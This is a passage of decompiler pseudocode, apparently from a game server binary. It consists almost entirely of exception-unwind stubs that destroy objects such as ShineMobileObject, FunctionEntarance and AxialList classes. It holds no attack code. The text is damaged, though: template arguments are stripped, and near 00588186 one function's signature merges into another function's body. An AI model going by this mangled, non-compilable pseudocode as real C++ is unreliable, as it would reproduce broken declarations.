__usercall _L164365(int a1) { std::_Lockit::__Lockit((std::_Lockit *)(a1 - 28)); } //----- (00587610) -------------------------------------------------------- void __usercall _L164641(int a1) { operator delete__(*(void **)(a1 + 4)); } //----- (00587630) -------------------------------------------------------- void __usercall _L154128(int a1) { std::locale::facet::_facet(*(std::num_put > > **)(a1 - 132)); } //----- (00587650) -------------------------------------------------------- void __usercall _L154746(int a1) { std::basic_iostream>::_basic_iostream>((std::basic_iostream > *)(*(_DWORD *)(a1 - 16) - 72)); } //----- (00587670) -------------------------------------------------------- void __usercall _L155025(int a1) { std::basic_streambuf>::_basic_streambuf>(*(std::basic_streambuf > **)(a1 - 16)); } //----- (00587690) -------------------------------------------------------- void __usercall _L157755(int a1) { std::basic_ostream>::_Sentry_base::__Sentry_base(*(std::basic_ostream >::_Sentry_base **)(a1 - 16)); } //----- (005876B0) -------------------------------------------------------- void __usercall _L155366(int a1) { std::locale::_locale((std::locale *)(a1 - 20)); } //----- (005876D0) -------------------------------------------------------- void __usercall _L155579(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005876F0) -------------------------------------------------------- void __usercall _L155605(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00587710) -------------------------------------------------------- void __usercall _L155813(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (00587718) -------------------------------------------------------- void __usercall _L155814(int a1) { PineEventScriptNode::BlockName::_BlockName((PineEventScriptNode::BlockName *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00587730) -------------------------------------------------------- void __usercall _L155988(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (00587738) -------------------------------------------------------- void __usercall _L155989(int a1) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 4), 0xCu, 64, (void (__thiscall *)(void *))PineEventScriptNode::Identify::_Identify); } //----- (00587760) -------------------------------------------------------- void __usercall _L156224(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (00587768) -------------------------------------------------------- void __usercall _L156225(int a1) { PineEventScriptNode::Identify::_Identify((PineEventScriptNode::Identify *)(*(_DWORD *)(a1 - 16) + 36)); } //----- (00587800) -------------------------------------------------------- void __usercall _L159453(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 24)); } //----- (00587808) -------------------------------------------------------- void __usercall _L159454(int a1) { PineEventScriptNode::BlockName::_BlockName((PineEventScriptNode::BlockName *)(*(_DWORD *)(a1 - 24) + 4)); } //----- (00587813) -------------------------------------------------------- void __usercall _L159455(int a1) { operator delete(*(void **)(a1 - 20)); } //----- (0058781E) -------------------------------------------------------- void __usercall _L159501(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (00587840) -------------------------------------------------------- void __usercall _L159541(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (00587848) -------------------------------------------------------- void __usercall _L159542(int a1) { PineEventScriptNode::Condition::_Condition((PineEventScriptNode::Condition *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00587860) -------------------------------------------------------- void __usercall _L159657(int a1) { operator delete(*(void **)(a1 - 276)); } //----- (0058786E) -------------------------------------------------------- void __usercall _L159659(int a1) { operator delete(*(void **)(a1 - 276)); } //----- (0058789B) -------------------------------------------------------- void __usercall _L160098(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005878A6) -------------------------------------------------------- void __usercall _L160099(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005878B1) -------------------------------------------------------- void __usercall _L160100(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005878BC) -------------------------------------------------------- void __usercall _L160106(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005878D2) -------------------------------------------------------- void __usercall _L160108(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005878DD) -------------------------------------------------------- void __usercall _L160109(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005878E8) -------------------------------------------------------- void __usercall _L160110(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005878F3) -------------------------------------------------------- void __usercall _L160111(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587909) -------------------------------------------------------- void __usercall _L160113(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587914) -------------------------------------------------------- void __usercall _L160114(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0058791F) -------------------------------------------------------- void __usercall _L160115_0(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0058792A) -------------------------------------------------------- void __usercall _L160116_0(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587940) -------------------------------------------------------- void __usercall _L160118(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0058794B) -------------------------------------------------------- void __usercall _L160119(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587956) -------------------------------------------------------- void __usercall _L160120(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587961) -------------------------------------------------------- void __usercall _L160121(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587977) -------------------------------------------------------- void __usercall _L160123(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587982) -------------------------------------------------------- void __usercall _L160124(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0058798D) -------------------------------------------------------- void __usercall _L160125(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587998) -------------------------------------------------------- void __usercall _L160126(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005879AE) -------------------------------------------------------- void __usercall _L160128(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005879B9) -------------------------------------------------------- void __usercall _L160129(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005879C4) -------------------------------------------------------- void __usercall _L160130(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005879CF) -------------------------------------------------------- void __usercall _L160131(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005879E5) -------------------------------------------------------- void __usercall _L160133(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005879F0) -------------------------------------------------------- void __usercall _L160134(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (005879FB) -------------------------------------------------------- void __usercall _L160135(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587A06) -------------------------------------------------------- void __usercall _L160136(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587A1C) -------------------------------------------------------- void __usercall _L160138(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587A27) -------------------------------------------------------- void __usercall _L160139(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587A32) -------------------------------------------------------- void __usercall _L160140(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587A3D) -------------------------------------------------------- void __usercall _L160141(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587A53) -------------------------------------------------------- void __usercall _L160143(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587A5E) -------------------------------------------------------- void __usercall _L160144(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587A69) -------------------------------------------------------- void __usercall _L160145(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587A74) -------------------------------------------------------- void __usercall _L160146(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587A8A) -------------------------------------------------------- void __usercall _L160148(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587A95) -------------------------------------------------------- void __usercall _L160149(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587AA0) -------------------------------------------------------- void __usercall _L160150(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587AAB) -------------------------------------------------------- void __usercall _L160151(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587AC1) -------------------------------------------------------- void __usercall _L160153(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587ACC) -------------------------------------------------------- void __usercall _L160154(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587AD7) -------------------------------------------------------- void __usercall _L160155(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587AE2) -------------------------------------------------------- void __usercall _L160156(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587AF8) -------------------------------------------------------- void __usercall _L160158_0(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587B03) -------------------------------------------------------- void __usercall _L160159(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587B0E) -------------------------------------------------------- void __usercall _L160160(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587B19) -------------------------------------------------------- void __usercall _L160161(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587B2F) -------------------------------------------------------- void __usercall _L160163(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587B3A) -------------------------------------------------------- void __usercall _L160164(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587B45) -------------------------------------------------------- void __usercall _L160165(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587B50) -------------------------------------------------------- void __usercall _L160166(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587B66) -------------------------------------------------------- void __usercall _L160168(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587B71) -------------------------------------------------------- void __usercall _L160169(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587B7C) -------------------------------------------------------- void __usercall _L160170(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587B87) -------------------------------------------------------- void __usercall _L160171(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587B9D) -------------------------------------------------------- void __usercall _L160173(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587BA8) -------------------------------------------------------- void __usercall _L160174(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587BB3) -------------------------------------------------------- void __usercall _L160175(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587BBE) -------------------------------------------------------- void __usercall _L160176(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587BD4) -------------------------------------------------------- void __usercall _L160178(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587BDF) -------------------------------------------------------- void __usercall _L160179(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587BEA) -------------------------------------------------------- void __usercall _L160180(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587BF5) -------------------------------------------------------- void __usercall _L160181(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587C0B) -------------------------------------------------------- void __usercall _L160183(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587C16) -------------------------------------------------------- void __usercall _L160184(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587C21) -------------------------------------------------------- void __usercall _L160185(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587C2C) -------------------------------------------------------- void __usercall _L160186(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587C37) -------------------------------------------------------- void __usercall _L160187(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587C60) -------------------------------------------------------- void __usercall _L163572(int a1) { if ( *(_DWORD *)(a1 - 20) & 1 ) { *(_DWORD *)(a1 - 20) &= 0xFFFFFFFEu; std::basic_ios>::_basic_ios>((std::basic_ios > *)(*(_DWORD *)(a1 - 16) + 12)); } } //----- (00587C7C) -------------------------------------------------------- void __usercall _L163574(int a1) { std::basic_istream>::_basic_istream>((std::basic_istream > *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00587CA0) -------------------------------------------------------- void __usercall _L163748(int a1) { std::locale::_locale((std::locale *)(a1 - 80)); } //----- (00587CA8) -------------------------------------------------------- void __usercall _L163749(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 48)); } //----- (00587CB0) -------------------------------------------------------- void __usercall _L163750(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 76)); } //----- (00587CB8) -------------------------------------------------------- void __usercall _L163751(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 76)); } //----- (00587CD0) -------------------------------------------------------- void __usercall _L164413(int a1) { operator delete(*(void **)(a1 - 132)); } //----- (00587CDE) -------------------------------------------------------- void __usercall _L164416(int a1) { std::locale::facet::_facet(*(std::num_put > > **)(a1 - 132)); } //----- (00587CE9) -------------------------------------------------------- void __usercall _L164417(int a1) { std::_Locinfo::__Locinfo((std::_Locinfo *)(a1 - 128)); } //----- (00587D00) -------------------------------------------------------- void __usercall _L164447_0(int a1) { std::locale::facet::_facet(*(std::num_put > > **)(a1 - 16)); } //----- (00587D30) -------------------------------------------------------- void __usercall _L164684(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 20)); } //----- (00587D38) -------------------------------------------------------- void __usercall _L164685(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (00587D60) -------------------------------------------------------- void __usercall _L164850(int a1) { if ( *(_DWORD *)(a1 - 20) & 1 ) { *(_DWORD *)(a1 - 20) &= 0xFFFFFFFEu; std::basic_ios>::_basic_ios>((std::basic_ios > *)(*(_DWORD *)(a1 - 16) + 84)); } } //----- (00587D7C) -------------------------------------------------------- void __usercall _L164852(int a1) { std::basic_iostream>::_basic_iostream>((std::basic_iostream > *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (00587DA0) -------------------------------------------------------- void __usercall _L164875(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 44)); } //----- (00587DA8) -------------------------------------------------------- void __usercall _L164879(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 44)); } //----- (00587DB0) -------------------------------------------------------- void __usercall _L164880(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 44)); } //----- (00587DD0) -------------------------------------------------------- void __usercall _L165740(int a1) { std::locale::_locale((std::locale *)(a1 - 52)); } //----- (00587DD8) -------------------------------------------------------- void __usercall _L165741(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 44)); } //----- (00587DF0) -------------------------------------------------------- void __usercall _L166129(int a1) { std::locale::_locale((std::locale *)(a1 - 84)); } //----- (00587DF8) -------------------------------------------------------- void __usercall _L166130(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 44)); } //----- (00587E00) -------------------------------------------------------- void __usercall _L166131(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 72)); } //----- (00587E20) -------------------------------------------------------- void __usercall _L168484(int a1) { std::basic_stringstream_std::allocator>::_vbase_destructor((std::basic_stringstream,std::allocator > *)(a1 - 148)); } //----- (00587E2B) -------------------------------------------------------- void __usercall _L168485(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 176)); } //----- (00587E40) -------------------------------------------------------- void __usercall _L164176(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00587E60) -------------------------------------------------------- void __usercall _L162694(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 816)); } //----- (00587E6B) -------------------------------------------------------- void __usercall _L162695(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00587E76) -------------------------------------------------------- void __usercall _L162696(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 784)); } //----- (00587E81) -------------------------------------------------------- void __usercall _L162697(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00587EA0) -------------------------------------------------------- void __usercall _L162822_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 548)); } //----- (00587EAB) -------------------------------------------------------- void __usercall _L162823_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00587EB6) -------------------------------------------------------- void __usercall _L162824_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00587ED0) -------------------------------------------------------- void __usercall _L163272(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 540)); } //----- (00587EDB) -------------------------------------------------------- void __usercall _L163273(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00587EE6) -------------------------------------------------------- void __usercall _L163274(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00587EF1) -------------------------------------------------------- void __usercall _L163275(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 564)); } //----- (00587EFC) -------------------------------------------------------- void __usercall _L163276(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 564)); } //----- (00587F07) -------------------------------------------------------- void __usercall _L163277(int a1) { AxialListMobCounter::_AxialListMobCounter((AxialListMobCounter *)(a1 - 564)); } //----- (00587F20) -------------------------------------------------------- void __usercall _L163431(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (00587F2B) -------------------------------------------------------- void __usercall _L163432(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00587F40) -------------------------------------------------------- void __usercall _L164223(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00587F4B) -------------------------------------------------------- void __usercall _L164224(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00587F60) -------------------------------------------------------- void __usercall _L163649(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00587F6B) -------------------------------------------------------- void __usercall _L163650(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00587F76) -------------------------------------------------------- void __usercall _L163651(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 288)); } //----- (00587F90) -------------------------------------------------------- void __usercall _L163842(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1068)); } //----- (00587F9B) -------------------------------------------------------- void __usercall _L163843(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00587FA6) -------------------------------------------------------- void __usercall _L163844(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00587FB1) -------------------------------------------------------- void __usercall _L163845(int a1) { AxialListObjectList::_AxialListObjectList((AxialListObjectList *)(a1 - 1064)); } //----- (00587FD0) -------------------------------------------------------- void __usercall _L164617(int a1) { AxialListWall::_AxialListWall(*(AxialListMobKillLog **)(a1 - 16)); } //----- (00587FF0) -------------------------------------------------------- void __usercall _L164304(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 892)); } //----- (00587FFB) -------------------------------------------------------- void __usercall _L164305(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (00588006) -------------------------------------------------------- void __usercall _L164306(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00588011) -------------------------------------------------------- void __usercall _L164307(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0058801C) -------------------------------------------------------- void __usercall _L164308_0(int a1) { AxialListMobInAreaCounter::_AxialListMobInAreaCounter((AxialListMobInAreaCounter *)(a1 - 856)); } //----- (00588027) -------------------------------------------------------- void __usercall _L164309(int a1) { AxialListMobInAreaCounter::_AxialListMobInAreaCounter((AxialListMobInAreaCounter *)(a1 - 856)); } //----- (00588032) -------------------------------------------------------- void __usercall _L164310(int a1) { AxialListMobInAreaCounter::_AxialListMobInAreaCounter((AxialListMobInAreaCounter *)(a1 - 856)); } //----- (00588050) -------------------------------------------------------- void __usercall _L164630(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 6708)); } //----- (0058805B) -------------------------------------------------------- void __usercall _L164631(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 6704)); } //----- (00588066) -------------------------------------------------------- void __usercall _L164632(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 6448)); } //----- (00588071) -------------------------------------------------------- void __usercall _L164633(int a1) { AxialListKQResult::_AxialListKQResult((AxialListKQResult *)(a1 - 6192)); } //----- (0058807C) -------------------------------------------------------- void __usercall _L164634_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 6720)); } //----- (005880A0) -------------------------------------------------------- void __usercall _L164703(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 6700)); } //----- (005880AB) -------------------------------------------------------- void __usercall _L164704(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 6696)); } //----- (005880B6) -------------------------------------------------------- void __usercall _L164705(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 6440)); } //----- (005880C1) -------------------------------------------------------- void __usercall _L164706(int a1) { AxialListKQResult::_AxialListKQResult((AxialListKQResult *)(a1 - 6184)); } //----- (005880CC) -------------------------------------------------------- void __usercall _L164744_0(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 6184)); } //----- (005880F0) -------------------------------------------------------- void __usercall _L165213(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 576)); } //----- (005880FB) -------------------------------------------------------- void __usercall _L165214(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (00588106) -------------------------------------------------------- void __usercall _L165215(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00588120) -------------------------------------------------------- void __usercall _L165342(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 584)); } //----- (0058812B) -------------------------------------------------------- void __usercall _L165343(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (00588136) -------------------------------------------------------- void __usercall _L165344(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (00588150) -------------------------------------------------------- void __usercall _L166514(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (00588170) -------------------------------------------------------- void __usercall _L166926(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 556)); } //----- (0058817B) -------------------------------------------------------- void __usercall _L166927(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00588186) -------------------------------------------------------- void __usercall _L166928(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (005881B0) -------------------------------------------------------- void __usercall _L72700(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 20) + 8)); } //----- (005881D0) -------------------------------------------------------- void __usercall _L72727(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (005881F0) -------------------------------------------------------- void __usercall _L72795(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00588210) -------------------------------------------------------- void __usercall _L72852(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (00588230) -------------------------------------------------------- void __usercall _L174780(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588270) -------------------------------------------------------- void __usercall _L174723(int a1) { AxialListWall::_AxialListWall(*(AxialListMobKillLog **)(a1 - 16)); } //----- (00588290) -------------------------------------------------------- void __usercall _L174939(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (005882B0) -------------------------------------------------------- void __usercall _L185690(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005882D0) -------------------------------------------------------- void __usercall _L176012(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (005882DB) -------------------------------------------------------- void __usercall _L176013(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005882E6) -------------------------------------------------------- void __usercall _L176014(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00588300) -------------------------------------------------------- void __usercall _L176073(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1596)); } //----- (0058830B) -------------------------------------------------------- void __usercall _L176074(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (00588316) -------------------------------------------------------- void __usercall _L176075(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (00588321) -------------------------------------------------------- void __usercall _L176076(int a1) { _eh_vector_destructor_iterator_( (void *)(a1 - 1304), 0x100u, 3, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0058833A) -------------------------------------------------------- void __usercall _L176077(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1560)); } //----- (00588345) -------------------------------------------------------- void __usercall _L176078(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 1576)); } //----- (00588350) -------------------------------------------------------- void __usercall _L176079(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 1576)); } //----- (00588370) -------------------------------------------------------- void __usercall _L176424(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 292)); } //----- (0058837B) -------------------------------------------------------- void __usercall _L176425(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00588390) -------------------------------------------------------- void __usercall _L176838(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 304)); } //----- (0058839B) -------------------------------------------------------- void __usercall _L176839(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005883B0) -------------------------------------------------------- void __usercall _L177253(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1052)); } //----- (005883BB) -------------------------------------------------------- void __usercall _L177254(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (005883C6) -------------------------------------------------------- void __usercall _L177255(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1048)); } //----- (005883D1) -------------------------------------------------------- void __usercall _L177256(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (005883DC) -------------------------------------------------------- void __usercall _L177257(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (005883E7) -------------------------------------------------------- void __usercall _L177258(int a1) { AxialListMobVanish::_AxialListMobVanish((AxialListMobVanish *)(a1 - 1060)); } //----- (005883F2) -------------------------------------------------------- void __usercall _L177259(int a1) { AxialListMobVanish::_AxialListMobVanish((AxialListMobVanish *)(a1 - 1060)); } //----- (00588410) -------------------------------------------------------- void __usercall _L177358(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1076)); } //----- (0058841B) -------------------------------------------------------- void __usercall _L177359(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1040)); } //----- (00588426) -------------------------------------------------------- void __usercall _L177360_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 784)); } //----- (00588431) -------------------------------------------------------- void __usercall _L177361(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0058843C) -------------------------------------------------------- void __usercall _L177362(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (00588460) -------------------------------------------------------- void __usercall _L177491(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00588468) -------------------------------------------------------- void __usercall _L177492_0(int a1) { 